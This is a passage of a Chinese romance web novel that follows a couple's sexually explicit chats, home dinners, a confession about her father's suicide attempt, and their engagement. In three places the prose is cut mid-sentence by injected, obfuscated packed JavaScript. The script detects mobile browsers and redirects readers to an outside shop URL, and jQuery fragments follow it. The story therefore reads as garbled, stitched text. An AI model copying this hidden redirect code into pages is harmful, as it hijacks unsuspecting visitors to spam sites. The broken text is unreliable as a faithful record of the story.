但这句告诫后来并没有生效,庞天娇还是经历了一个很差劲的男生,险些抑郁自杀,是姚柔伊帮她从那段浩劫中解脱出来,从此之后,她才彻底转变,变得坚韧、乐观、积极、自信。人不经历剧变和低谷,很难会有颠覆性的改变。 * 自上次从顾阎那回来后,他们的聊天比之前更频繁,尺度也更大。 顾阎心血来潮地把两人客厅接吻的视频发给了姚柔伊。 姚柔伊大惊:【!!!】 顾阎:【客厅有监控。】 姚柔伊火速追问:【卧室呢?浴室呢?】 顾阎:【没有,只要客厅有。你当我变态呢?】 姚柔伊一边庆幸没有在客厅做,一边讽刺:【你把监控视频截取下来还不够变态吗?】 顾阎:【我回味一下不行?】 姚柔伊:【不行,删掉。】 顾阎:【这是素材,我保存下来研习改进,提升接吻技术,争取提供更好的服务,带给您更好的体验。】 姚柔伊:【……你又不是鸭】 顾阎:【那当然,鸭也没有我技术好,更不用提硬件水平。】 顾阎:【你真是赚大发了】 姚柔伊:【……】 顾阎:【不要太感动,我应尽的责任】 姚柔伊:【……】 顾阎:【你也要提升,下次女上位,多给你发挥的空间】 姚柔伊:【……】 姚柔伊:【我求你恢复之前的样子,再装下去吧。】 周四的时候,姚柔伊还收到了一个包裹。 她翻了翻自己的淘宝记录,并不是其中任何一个,我以为是之前合作方给她寄的礼品,故而拆开,赫然发现是一套情/趣内衣。做工材质都很好,款式也漂亮,一看就不是便宜货。 始作俑者是谁,答案呼之欲出。 姚柔伊把内衣图片拍下来发过去:【你太恶俗了】 顾阎:【有吗,我觉得你穿起来会很美,周末的时候记得穿来。】 姚柔伊:【……死变态】 顾阎:【这哪里变态了?】 明明是甜美可爱风格的猫猫女仆。 姚柔伊:【我对你的审美表示无语】 顾阎:【那你只能选择接受,谁让我们只是冰冷无情的金钱关系。】 姚柔伊:【……】 姚柔伊真想冲过去打他,但这话是她之前提出来的,实在不好这么短的时间内出尔反尔。 顾阎:【先提前拍一张照片给我看】 姚柔伊:【?内衣照片不是发给你了吗】 顾阎:【上身图】 姚柔伊脸蹭蹭蹭红起来,像煮熟的虾子:【……】 金主的要求不敢不从,姚柔伊进入卧室,拉上窗帘,反锁上门,再三检查没有隐私泄露的风险,才难为情地换上这套情趣装。 尺寸正合适,猫尾巴戴上的那刻她在心底辱骂顾阎一百遍。 忍着羞耻和尴尬,快速拍了几张图片,拍完预览的时候发现姿势不够好看,只能重新摆几个妖娆的姿势,没办法,她这样的美女对拍照的要求特别高,从不糊弄,势必要让自己满意才能出图。 姚柔伊把脖子以上的内容被截掉,只剩下穿着猫女仆情.趣装的身材照,确保图片美丽且安全后,她才挑了两张发过去。 对面没有回复。 这不应该,她的图片比网上的种草姬质量还要高,没理由不被她惊艳住。 可能顾阎在忙吧,她这么想。 反正绝不会内耗是不是自己的魅力值不够。 大概二十分钟后,顾阎发来一张图片。 姚柔伊点开,图片上是一只手指修长、骨节分明、血管微突的大手,手指间是黏稠的乳白液体。 意识到这是什么后,姚柔伊恨不得把手机扔了。 顾阎这个死变态,对着她发去的图片来了一发。 姚柔伊:【啊啊啊啊啊啊你给我滚!】 顾阎:【好想你。】 姚柔伊:【你是想我,还是想艹批?】 顾阎:【是想艹你】 姚柔伊:【……滚滚滚滚】 顾阎:【你都不想我的吗?】 姚柔伊:【不想!】 顾阎:【你真狠心】 姚柔伊:【谁让我们只是冰冷无情的金钱关系。】 周五,顾阎已经替姚柔伊订好了机票,也安排好车子去机场接她。 他表示,既然是冰冷无情的金钱关系,那没理由还贴钱□□的。 姚柔伊表示很对,接受了他的安排,不再什么都自己准备。 基于此,姚柔伊也很听话的带上了之前收到的情/趣装,打算到顾阎家的时候换上,既然是金钱关系,金主的要求自然该满足就得满足。 姚柔伊到顾阎别墅的时候,意外发现,他居然回来这么早。 她本以为他这种企业掌权人,每天晚上能11点回来就算早的了。 更意外的是,他已经褪去西装,换上了家居服,在厨房做饭! 他那面积大到吓人的厨房居然不是摆设,他竟然真的会做饭! 顾阎家居装扮是宽松的米色圆领衫,配上一条棕黄色休闲裤,脚上是一双灰色居家拖鞋。 腰间还系着藏蓝色条纹围裙。 特别的人夫感。 姚柔伊换上拖鞋,轻手轻脚走到厨房,慢慢靠近他的后背,想抱住他给他一个惊喜。 只是刚进厨房,他的后背就长着眼睛似的开口:“过来了?还有最后一道菜,汤也马上好了。” 姚柔伊走上前,从背后抱住他的腰,脸埋在他后背猛吸一口,是暖阳晒过被褥后的松软味道,“你还会做饭啊?” “留过学的基本都会。”尤其他还有一段自食其力的日子,做饭就是那段时间为了省钱学会的,只是后来忙于工作,参加不完的饭局、聚会,很长时间没有自己做饭了。 好在今天回来早,突发奇想地露一手,意外发现自己对做饭这事并没有遗忘,一上手熟悉的感觉全都回来,他顺手就做了四菜一汤。 “好香啊。”顾阎打开锅盖,红烧排骨的香味飘过来,直接勾动了姚柔伊肚里的馋虫。 “去等着,再抱我我没法做饭了。”顾阎开口。 “我只是抱着而已,你自己想哪去了?” “如果你想在厨房里做,我是不介意的。” “不不不,我现在不想做,我想吃饭。” 姚柔伊连忙松开手臂,退后两步,就这么站在一旁看顾阎忙活。 他拿锅铲翻炒的样子,他单手颠锅的样子,他娴熟撒放调料的样子,每个动作都透出潇洒帅气,很有观赏性,果然帅哥无论做什么都是赏心悦目的。 锅里的排骨已经变成让人食欲激增的酱红色,汤汁逐渐粘稠,在出锅前又撒上一把绿色小葱末,翠绿点缀在酱红上,色泽鲜亮,更加诱人。 顾阎将红烧排骨盛出来,姚柔伊马上自高奋勇端盘子。 “小心烫。”顾阎把盘子递给她的时候,叮嘱了一句。 姚柔伊捏着盘子边缘,端到餐桌上,看见另外几道家常菜,有宫保鸡丁、白灼虾、还有香菇炒上海青。 不多时,顾阎端着汤锅过来,里面是冬瓜牡蛎汤。 “你好厉害哦,田螺王子。”姚柔伊捧着脸,一脸憧憬地看着他。 她这人非常没出息,对做饭好吃的人,印象分直接加十分。 顾阎端来两碗饭,递过去一碗,又找来两个汤碗,把汤盛好,端到她面前。 “这就厉害了?”顾阎得意,但装出不在意的样子。 “我好幸福哦,合租的朋友做饭好吃,来到这边发现你也会做饭。” “尝尝吧。”顾阎扬了一下下巴。 姚柔伊早就忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753951|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住了,每样菜都夹了一口,虽谈不上狼吞虎咽,但也绝对称不上淑女斯文,咽下后立马竖起拇指:“太好吃了。” 顾阎嘴角抽搐,用了好大的意志力才压制住没有高高翘起,“跟你朋友比呢?” 和庞天娇比的话,姚柔伊觉得各有千秋,庞天娇是女生,还是个减肥成功的女生,她做饭口味偏清淡健康,而顾阎就没有控制热量这方面的考虑,调味放得足,对味蕾的刺激更强。 既然是顾阎发问,那自然是以他为先,姚柔伊马上拍起马屁:“当然是你做饭更好吃,本来以为她做饭已经够好吃了,吃完你做的饭才知道人外有人天外有天,我都怀疑你之前当过厨师。” 一通马屁夸得顾阎通体舒畅,头脑一热还许下诺言:“以后我有时间就做饭给你吃。” 姚柔伊笑眼弯弯:“那我可太有福气了。” 她发觉自己有点找到对付顾阎的招数,就是多夸赞,然后顺毛撸,这样这头狮子就会乖顺得像只猫咪。 吃饱喝足之后,姚柔伊主动提出刷碗,说是刷碗其实就是把餐具放进洗碗机里,基本不用她做什么。 原本以为,一来到顾阎的住处,就得直奔情事主题,哪知道今天并没有一上来就做,哪怕吃完饭收拾完碗筷之后,他们也没有做。 这让她有点意外,顾阎似乎没有那么精虫上脑。 她在沙发上看电视,顾阎去了书房。 看完一部电影后,姚柔伊坐不住了,关掉电视起身去书房找他。 不知道他当前是否在开视频会议,姚柔伊站在书房前敲门。 “进来。”里面传来顾阎的声音,不高不低,平稳干脆。 姚柔伊推门而入。 顾阎并没有开视频会议,甚至也没有处理工作,他在写字。 对,写字,毛笔字。 今晚的顾阎接连带给她冲击,不仅会做饭,居然还会书法。 姚柔伊走过去,看他笔下的宣纸,他写的是行楷,临的是王羲之的兰亭集序,临得有九分相似,着实让她惊叹。 “你还会书法?”说实话之前在草原发现他会骑马,她其实没有多意外,毕竟他看起来就喜欢这类刺激的运动。但书法是典型静心的艺术,他居然也会。 “嗯,算不上会书法,小时候学过。” 小时候的顾阎写字巨丑,爷爷一向喜欢传统艺术,看见孙子的字丑得不堪入目,当即高薪给他聘请书法老师。 小时候他调皮,也坐不住,根本不乐意学。但这个书法老师是个特别严肃的老头,颇有古时老夫子的风范,对他的管教特别严,甚至上课时还带来一根戒尺,只要顾阎不配合,戒尺就会发挥威力。 看见顾阎手上的红肿的伤痕,他的母亲对这书法老师颇有微词,但爷爷顾卫国倒是相当欣赏书法老师,认为他有风骨,很负责,拿钱真办事,强行留下他继续教学。 久而久之,顾阎的一手臭字终于被纠正过来,他也渐渐感受到书法的魅力,不再抗拒这个书法老师。 在长达三年的书法课程结束之后,顾卫国还另外给了这位书法老师一笔丰厚的答谢礼。 顾阎的书桌一角堆着一沓书写过的纸张,姚柔伊好奇地翻看,其中有临帖,也有自己创作的,基本上所有的字体他都会写,写得最多的是行草。 姚柔伊的书法鉴赏水平比较一般,她画画厉害,但写字不咋样,字如其人到她这里基本失效,但她还是本能地认为顾阎写的很好看,很有水平。 其中一张纸上写的是李白的《将进酒》,看到那句“人生得意须尽欢,莫使金樽空对月”,姚柔伊没由来打了个激灵。 她与顾阎的相遇是否是人生得意之时呢,如果错过他,她的生命是否还有新的得意之时呢? 可为什么明明是得意之时,她却放不下心防彻底尽欢呢? 是她的问题吗?还是顾阎的问题?亦或是他们两个人都有问题? “喜欢这首?”顾阎见她盯着这张纸许久,面色些许凝重,不由得发问。 “你怎么看待人生得意须尽欢?”姚柔伊问。 顾阎没料到姚柔伊很突然问这么严肃的问题,他想了想说:“我觉得及时行乐没什么不好,谁能知道意外和明天哪个先来。” “以前我也是这样的想法。”自打老姚出事之后,她好像被现实桎梏住,再也践行不了及时行乐的理念,就像一双无形的手将她从象牙塔中无情地拽出来。 “现在呢?”顾阎搁下笔,注视着她。 姚柔伊摇头:“我不知道。” “你在逃避。”顾阎一针见血指出。 姚柔伊呼吸一窒,瞪大眼睛,迷茫而不可思议地看向他。 “自从上次我生病之后,你就变了。”顾阎摸上她的脸:“你知道吗,我都在想,是不是我那天大脑烧坏了,对你做了什么,导致你对我态度大变。” 他双手捧着她的脸,眼睛有化不开的惆怅:“你感觉到了吗,我们的身体关系近了,可是心却远了。” “到底怎么了?”他吻了上来,很轻柔,像羽毛落在唇瓣。 你的心对我筑起越来越厚的保护墙,我只能通过更深入地占有,企图撬开你的心防。 34. 第 34 章 “到底怎么了?”这句问话就像一枚箭簇,直直插进她的心里。 她流下泪,咸涩的泪水流入他们交缠的口中。 舌尖尝到了泪水的味道,顾阎停住,轻微退后与她分开。 他的指腹擦过她的面颊,他低头啄吻泪珠,用气声问:“怎么哭了?” 她的泪越流越凶,顾阎将她紧紧拥住,头按在厚实的肩膀处。 哭了一阵,她哽咽道:“就是突然意识到我们是不平等的。” “不平等,为什么会这样想?”顾阎认识中的姚柔伊或许会伪装成顾家需要的大家闺秀,但心里并不会觉得自己不配、不敢、不值得。 “现实因素吧。”她说,“以前我还是学生,没有真正体会到这一点。” “人的看法不会突如其来改变的。”顾阎仍坚持问清缘由,“一定是发生了什么事才会这样。” 姚柔伊没有说话,她的内心不停摇摆挣扎。 “我们得沟通。”顾阎说:“我们认识的时间不长,相聚的时间更短,遇到事如果再憋在心里不说,我该何时能达到之前约定的‘非你不可的时候’?” 他继续说:“我是人,不是神,我得知道发生了什么,才能想办法破局。” 姚柔伊忽然道:“是老姚,我爸之前出了点事。” “食物中毒住院的事?”顾阎思忖道:“你是不是怪我没有去医院看你们,当时一个谈好的项目突然……” “不是。”姚柔伊打断他:“不是因为你的缘故,是我没跟你说实话。” “发生什么了?”顾阎眉头拧起,颇有些不好的预感。 “他不是食物中毒,是药物中毒,一次性吃进去整整一瓶的安眠药,我不知道原来他失眠这么严重,更不知道他的精神已经崩溃到寻死的地步。” 姚柔伊陷入自责的情绪,说到后面又涌出一汪泪。 顾阎的心脏像被重锤击中,他一下子想起当年母亲的离世,他猛地抱住她,手臂用力搂紧,似是要将她骨肉碾碎、揉进他的身躯中,他们像丛林中两只受伤流血的兽,被另一个暗处的猛兽险些吞噬。 姚柔伊呼吸不畅,轻打他的背,顾阎的身体在微微发抖,他似乎想到了痛苦的往事,陷入惊惧中。 “没事了。” “没事了。” 两人的声音同时响起。 是啊,没事了,一切都没事了,母亲的事已经过去,老姚的事也已经过去,哪怕两种结局,可这都过去了,是痛不欲生也好,劫后余生也罢,一切都如梦幻泡影,一切都会没事的。 他们拥抱了很久,姚柔伊的手里还攥着那张写着《将进酒》的宣纸,那句人生得意须尽欢似一股奇妙的力量,从指尖注入,涌向四肢百骸,顺着脊椎,涌进脑海深处。 “因为我爸自杀的事,我猛地一下惊醒了,觉得之前与你的相处就像梦境,而如今回归现实,我需要的不再是什么非你不可的时刻,我需要的是立马到账的真金白银,我需要迫切解决我们家的现状,我已经无法用之前的心态与你相处,我一下子觉得我们不再平等,你能明白吗?” “怪我,当初应该将你爸的债务直接打给你,而不是约定什么婚后履约。”顾阎心疼又内疚:“导致你在那胡思乱想,什么平等不平等的,为另一半解决困境本就是应当的。” “如果和你说了,你随手帮我解决,心里其实会受之有愧。”毕竟这不是一笔小数目。 “别说还债本就是合约内容,哪怕不是,光凭借我喜欢你这点,这钱我也能出。”顾阎说。 姚柔伊心下大乱,她又一次听到他说喜欢自己。 “我发现,你有的时候挺清高的。”顾阎捏了一下她的脸,“骨子里是倔的。” 姚柔伊愧不敢当:“有嘛,我现在都把你当金主了,还能清高到哪去?” “就冲你把我身为从未婚夫定义为金主,也能看出端倪,你完全不会对让我花钱这件事心安理得,甚至企图用身体偿还,以达两清。” 行为是卑贱,可思想却清高,这卑贱之举正是由清高之心催生的。 矛盾别扭但他能理解。 “是吗,你是这样想的?”姚柔伊很意外。 她自己都弄不懂自己的别扭之处到底为什么,所以这些日子一直在痛苦纠结中,只有上周和他颠鸾倒凤的时候也能不会想这件事。 “你就是钻进牛角尖了,没想明白。”顾阎说:“或者说你太在乎那个非你不可的时刻,如果达不到那种程度,你就不认可我们的关系,故而你始终没有把我们的关系当情侣看待,尽管我们其实已经是情侣了。” “……不是。”她反驳,可听起来很心虚。 “互相喜欢,还不算情侣吗?”顾阎言之凿凿:“虽然你死活不肯承认自己喜欢我,但我又不是傻子,你不说,我就感觉不出来吗?” 她牙一咬、心一横:“对,我喜欢你又能怎样?” “怎样?”顾阎笑了:“明明是很简单的事,你干嘛要想复杂啊,互相喜欢,不就是在一起吗?” “在一起应该不是这样的事。” “那是什么样,互相做背调,然后通知亲戚长辈,然后征得所有人同意,才能在一起吗?”顾阎无奈叹息:“结婚都不用这么麻烦吧。” “我也没有这么想。”姚柔伊很茫然,她只能尽量说出一个大概:“就是在一起应该是一种全新的状态。” “全新状态……”顾阎沉吟片刻,点头赞许:“这我倒是赞成,新的关系建立自然是新的开始。” “可我觉得我们的状态并不是很新。”姚柔伊说。 顾阎扬眉:“怎么,你心里有人?” “当然不是我。”姚柔伊斜眼瞥视他:“另有其人。” “你说我啊?”顾阎摇头苦笑:“你们女人翻起旧账来真是难缠,我以为你这样洒脱的姑娘不会这样呢。” “哦,让你失望了,我没你想的那么洒脱。” “这倒没有,就是对你有了新发现,你能为我吃醋我怎么会失望呢?”顾阎想,他只会心里嘚瑟。 “难道我说错了?”姚柔伊也想验证自己的判断,“你对她讳莫如深,很难让人不多想。” 顾阎做了一个投降的姿势,“开瓶酒,我们边喝边聊。” “好。” 两人从书房中出来,姚柔伊坐在客厅,等着顾阎去酒柜取酒。 顾阎拿来的是一瓶封存二十多年的白酒。 喝着老酒,谈着故人,忆着往事,倒也合宜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我其实仍然没有想明白,为什么相爱的人一定要走入婚姻呢,婚姻法明明只是财产保护法案,并不是爱情保护法案。” 翻开婚姻法,的确绝大部分法条都与财产相关。 若他只是一个普通打工族,那么孟筝之流会因为想要安全感和他走入婚姻吗? 这种假设很无聊没意义,他只是偶尔想一下就抛在脑后。 “结婚就像一种证明吧。”姚柔伊说:“宣告爱情胜利的证明。” “有吗,我看更像是给爱情上了一把枷锁。”顾阎继续感慨:“李太白的那句人生得意须尽欢在爱情上同样适用,爱了就别瞻前顾后,就要想方设法在一起,相爱享乐做任何想做的事情,毕竟爱这种情绪也是很短暂的,指不定哪天就消耗殆尽,与其求一份安全感,不如求当下的畅快。” 这个想法与姚柔伊之前的爱情观如出一辙,她的心脏久违地发出共鸣的颤音。 是啊,人生得意须尽欢,去爱,去爱,去爱。 顾阎的话伴随着酒精让她气血翻涌、激荡不已。 “放下你心里的一切杂念,只关注爱与不爱的感受。”顾阎的眼睛如同蛊惑人心的深渊,他引诱着她:“只是单纯的在一起好吗?” 不在乎金钱利益,不在乎身份高低,不在乎前任过往,不在乎婚约与否,只在乎爱与不爱。 她点头,缓慢地、郑重地、交付一切地点头。 她这只振翅徘徊的飞蛾,终是义无反顾地撞上那摇曳的烛火,迸发出噼里啪啦的声响。 还声响是爱情的回音还是深渊的呼唤? 她累了,她不愿去想了。 她只想去爱、去尽欢。 35. 第 35 章 人生短短几十载,顾虑越多,快乐就越少。 能让自己保持快乐是成年人难得宝贵的性格品质。 自打老姚出事以来,姚柔伊经历了痛苦的一段时期,远离快乐,面对现实,可结果呢,并未获得认知自洽与灵魂自由。 她就像困在笼中的鸟,哀哀低鸣,在看似安全的领域内小心歌唱,可这真是快乐的面貌吗,很显然于姚柔伊这个本就追求自由的人来说,这是假象的快乐,或者说连快乐都不算,是自我洗脑。 现在她冲出精美牢固的鸟笼,不再是振翅的鸟儿,化身一只义无反顾的飞蛾,弱小且无畏,一头撞向那散发着蛊惑、弥漫着不安的深渊。 无所谓,蓝天固然美好,可深渊也未必恐怖,很多时候是对未知的恐惧让深渊变成深渊。 或许,所谓深渊只是一种极少人见到过的风景。 这个周末,顾阎并不忙,他没有去公司,工作基本都在书房远程处理。 他们整整两天都腻歪在一起,拥抱、接吻、做.爱,做情人间一切缠绵的事,吃饭、喝酒、运动,所有的日常小事凑在一起都有新的感受。 她接纳了他,也接纳了自己。她放过了自己,也放过了他们。 她喜欢看顾阎在厨房里忙碌,端出一碟碟饭菜,她喜欢看顾阎在泳池里遨游,身姿矫健如白鲨,她喜欢看顾阎在书房里安静地处理工作,哪怕偶尔生气对着手机发火也别有一番风味,当然,她也喜欢看他和她共赴云雨的模样,力量、汗珠、闷哼、神情,彰显着隐忍欢愉的种种,性感得让人心折。 她不再耻于说出爱,不再纠结于谁爱得多,谁爱得少,只要当下这一刻他们是快乐的,那一切都是美好的,人应该让自己沉浸在快乐中,而不是内耗在对未知的恐惧不安中。 姚柔伊将这段与顾阎的感情归结于四个字,爱在当下。 生活有活在当下一说,爱情自然有爱在当下一说。 在转变想法之后,她感到没由来的轻松,这种轻松是由内而外产生的,一种介于充盈和虚无的中间状态,一种渐渐丧失拼搏欲与探索欲的过程。 只是她那时并未发现这一点,或者说即便发现了,也不会重视。 她享受着这份安宁,她本就是自由职业,无需上班打卡,当彻底放松自由之后,她甚至有些倦怠,很少去查看约稿信息。她接稿的频率变低,从之前两到三天完成一张稿子,到后来十天半个月才交付一张。 那段时间,她没有很强的赚钱欲望,同样,也没有很强的花钱欲望。 一个月画两三张稿子已经是强逼着自己才做到的。 她真实的想法是什么都不想画的,只想躺着,吹风、赏月、喝酒、睡觉,或者就是单纯躺着发呆。 虽说自己的事业欲望急剧衰减,但事业运倒是风声水气,一家业内最知名的漫画工作室邀请她签约。 这家工作室是纸媒时代就在漫画领域做到数一数二的,后来条漫,彩漫,小说改漫,等等均有很好的布局,旗下签约了十几个知名漫画家,一直是很多漫画从业者心中最为向往的去处。 姚柔伊初中的时候就是这家工作室的粉丝,但她后来学的是油画,没有系统学习过漫画的创作,可既然他们打算签约她,她似乎也可以尝试一下。 她没有一口答应下来,说要考虑考虑,一周后再给回复。 她把这事也讲给顾阎听,问他的意见,他说让她考虑好再决定,毕竟签约之后必然会有各种掣肘,不能自由地创作,如果不缺钱的话,没必要去签,他可以负担她的开销。 姚柔伊想了想也确实如此,签约多少就有点给别人打工的意思,没有自己的主动权,自己现下有稳定的接稿渠道,没必要为了赚到更高的名利,就去签约,放弃自己最为看重和追寻的自由。 她本想一周后回复自己不签约,哪知发生一件事,改变了她的决定。 她接的一个人设稿子爆了雷,约稿的女生是未成年,拿的是一张成年的身份证欺骗她,并且还是偷家里人支付软件里的钱约的稿,被父母发现后打了一顿,现在父母找上姚柔伊退钱。 遇到这种事那只能自认倒霉,不然闹大了自己也讨不到好,还徒增圈内的笑闻。 她退了相应的稿费,退了一张之后,父母又找来她其他的账号身份,原来这小孩换了七八个马甲,已经陆陆续续在姚柔伊这里约了十张人设稿子,瞒到现在才暴雷。 现在这局面只退一张的稿费是不行的,要退只能退全部。 姚柔伊气得要死,要是放在之前,她必然要据理力争,折腾一番,不会让他们如愿退款。 可现阶段的姚柔伊有种无欲无求、万事看开的境界,对金钱之流没那么在意,气了一阵后就原数退款了。 但这件事让她长了一个教训,接私稿的不稳定因素太多了,签约工作室再怎么说也能帮她避免这种奇葩事,只需要牺牲一点自由性,获得更多的安全性,未必是个不好的买卖。 改变想法后,她就提前联系了工作室的负责人,表示自己同意签约。 负责人大喜过望,忙把签约合同寄过去。负责人是个商业嗅觉十分敏锐的人,他虽然知道姚柔伊没有创作漫画的经验,但他能一眼看出姚柔伊将来会很火,她身上又太多可以炒作的点,只要舍得砸钱捧一捧,很容易就能捧成一个网红美女画家,到时候即便不产出作品,光个人ip带来的经济效益都是非常可观的,尤其负责人还从小道消息那边得知,姚柔伊可能要嫁进顾家,这又是一个极大的可供炒热度的点。 总之,签下姚柔伊是个能大赚一笔的事,哪怕他开出丰厚的签约福利。 姚柔伊自打签约后,就得把微博这类公开社交账号上交给工作室统一运营。 她没有太大的意见,反正她可以开小号。 主要现阶段她的表达欲缺失,她没有很想创作的东西,她也不知道自己怎么了,明明解决了一件萦绕她心头许久的大事,她也确实因此每天都泛着幸福的粉红泡泡,可就是不愿意画画了。 是因为她从痛苦和烦恼中解脱出来了吗? 艺术往往是要伴随着苦痛,她情绪很差时,基本上也是创作欲最好的时候,而现在她没有什么烦恼,她的灵感也随之一空。 但就这样吧,活在当下挺好的,人为什么非要自寻烦恼呢,她并不是没有存款的呀。 或许是在创作上,她累了,她需要休息。 签了工作室之后,她接到的第一个任务就是电影推广的商稿。 这个电影正在上映,她还没有看过,正好和顾阎一起看,回来再画稿。 电影质量还可以,是个合格的爆米花电影,主题与改变有关,这个主旨未能触动她,或许她对现状还挺满意,没有产生想要改变的冲动,她问顾阎有什么感想,顾阎也没有太大的感觉。 他说:“痛苦方才需要改变,既不痛苦,也没有改变的需要。” 她颇为认同,晚上时他们照常做.爱,相拥着迎接明天的朝阳。 在经历过两次周末相聚后,顾阎以相聚太远,来回不方便为由让姚柔伊搬过来同住。 姚柔伊没有反对,只是很抱歉地跟庞天娇表示,自己要搬去顾阎那里,但是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766182|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子她不暂时不退租,和她一起承担房租直到到期,说不定中间还要搬回来住呢。 庞天娇眼睛红红的,情绪非常低落,她说自己可能要退租回老家了。 姚柔伊非常意外,这些天她的注意力全在顾阎那里,忽略了旁人。她问庞天娇为什么要离开,明明她很讨厌老家,为什么还要回去?走出大山能艰难,走入之后何时还能再回来呢? 庞天娇说父亲发生了意外,瘫痪了,母亲一个人照顾父亲还要忙农活、做零工太辛苦了,而自己前几天被辞退了,投的简历到现在一个面试邀约都没有,她快要撑不住了,她赚不到钱、没有办法寄钱回家,只能自己回去,帮母亲分担一点。 姚柔伊听着很伤感,庞天娇的自卑根源不在于外貌与否,而在于贫穷。 她之前因为老姚的债,向顾阎要钱的时候那种窘迫感历历在目,钱是人的胆,没钱的人自尊大打折扣。 姚柔伊表示要借她钱,庞天娇不肯要,说怕自己还不上。 姚柔伊突然想到自己现在签约了工作室,她说自己现在缺一个绘画助手,如果你不嫌弃的话可以跟着我一起干,正好我现在画什么都提不起劲,非常需要你的帮忙。 庞天娇很惶恐,不敢相信这是真事,姚柔伊画稿子从来不需要让别人帮忙的。 姚柔伊说自己现在不接私稿,签约了工作室,但是私稿那边还是一直有人约,两份工让她忙不过来,本来就打算找助理的,正好你现在没工作,我也相信你的能力,不知道你愿不愿意,这份工作可能不够正规,但能解燃眉之急。 庞天娇忙哭着说愿意。 她走回大山的脚步就这么被姚柔伊硬生生拦下来。 她又想起那个体检的下午,姚柔伊像泛着光的天使,向她伸出援手,而这次,她的天使再次降临,将她拯救。 其实姚柔伊并没有找助理的想法,这么说也不过是灵机一动,毕竟她现在什么稿子也没接,绘画的需求根本不大,可她人微言轻,没有更大的能量帮助庞天娇找到高薪靠谱的工作,只能突发奇想地给她创造了一个岗位。 好在她这些年接稿的经验,她现在想找活特别容易,若是再稍微降价,约稿的人更是要踏破门槛。 为了庞天娇的经济来源,姚柔伊提起精神,一连接了七八个私稿,每次和单主沟通完确定好草图,就转给庞天娇细化成稿,她检收成功后发给单主。 背着工作室接私稿,以及接私稿然后转给别人画这事,多少存在道德风险,可在急需用钱的状态下,根本管不了太多。 姚柔伊被迫重新逼着自己创作,而庞天娇更是恨不得抱着数位板睡觉,她尽量模仿姚柔伊的画风,起初差点露馅,靠着姚柔伊搪塞过去,后来越画越像,一般人还真分辨不出。 姚柔伊选择和庞天娇对半分钱,庞天娇说什么都不同意,她说如果没有姚柔伊,自己现在就已经回到了大山深处,她救了她,她不能再要更多。 最后姚柔伊给她分百分之三十。 为了解决庞天娇的经济困境,姚柔伊没有任何接稿条件,什么稿子都接,故而排单爆满,庞天娇几乎要到不眠不休的程度,当然那个月她挣了三万多。 后来,姚柔伊开了个新号,取了一个新的代号,她用之前的号为新号引了一部分流,把新号作为生日礼物送个庞天娇,之后新号接稿事宜全程由庞天娇自己完成,当然收入全归庞天娇个人所有。 只是她不知道的是,庞天娇心怀感恩,将新号接稿的一半收入定期打给姚柔伊,这笔源源不断的进账,成为姚柔伊后来放弃一切,四处旅居的最大保障。 36. 第 36 章 顾卫国被医院下达病危通知的第二天,姚柔伊和顾阎举办了订婚仪式。 生前看见孙子成婚是他最大的愿望,连顾阎本人都低头了,顾家其余的人更是无人敢不从。 尽管从一开始就知道他们会完成婚约,可真当这一天来临时,姚柔伊难免紧张,仿佛回到高考前夕。 那晚她抱着顾阎的时候,身体都在发颤,顾阎将她搂紧,“怎么了?” “不知道,就是怪紧张的。”姚柔伊闷声:“今天去医院看爷爷,看见他躺在那里,心里很不是滋味,想到了我的爷爷,那时他也是瘦成了一把骨头,靠着输营养液维生。爷爷这次能挺过去吗?” 是不是所有人都觉得他挺不过去了?所以才紧急筹办订婚仪式? “我不知道。”顾阎的情绪消沉,老人稀薄的生命力让他嗅到了死亡的气息,又一个他生命中最重要的亲人即将离他而去。 爷爷从军队退伍之后,身上一直带着部队中锻造的气质,严肃、冷硬、高标准。在顾家,爷爷是唯一一个敢打他的人,他小时候是一个调皮好动的男孩,受过不少打,他那时一直都认为爷爷不喜欢他,故而与他并不亲近。 是什么时候觉得爷爷爱他的呢? 大概是某次在学校和同学发生矛盾打起来了,对方先动的手,他反击,却不慎将那人打伤,家里人都觉得是他调皮捣蛋惹的祸,只有爷爷相信他,还带着他去学校调监控,查真相,要说法。 他还记得爷爷说,我的孙子虽然调皮了点,但绝不是一个不分好歹的人,不会无缘无故动手打人。 原来,爷爷一直都是家里最认可他的人。 爷爷很看重对他的培养,从不纵容他分毫,他是冷面无情的人,也是最真心盼他好的人。 光阴如梭,渐渐地,他高大起来,爷爷佝偻下去,他突然意识到那个曾经害怕和仰望过的人真正老去了。 爷爷病后,家族主心骨彻底倒下,顾阎接过他肩上的重担,去完成他未竟的事业。 可真到了即将告别的时候,他有千言万语,想说却说不出来。 姚柔伊看着他闭合的眼睛,他睡得并不安稳,眉头是浓重的愁绪,他虽未叹气,可唇线绷得紧直,她能感觉出他的不自然之处,无法表露的脆弱,无法言说的悲痛。 她忽然想起来,他酒后说过,想让别人陪着他,看得见、摸得着的人。 他恐惧亲人离别,恐惧身边空无一人。 可有这样强烈陪伴需求的人怎么会不愿意走入婚姻呢? “我会陪着你的。”姚柔伊轻抚着他的背,低声许诺:“一直陪着你。” 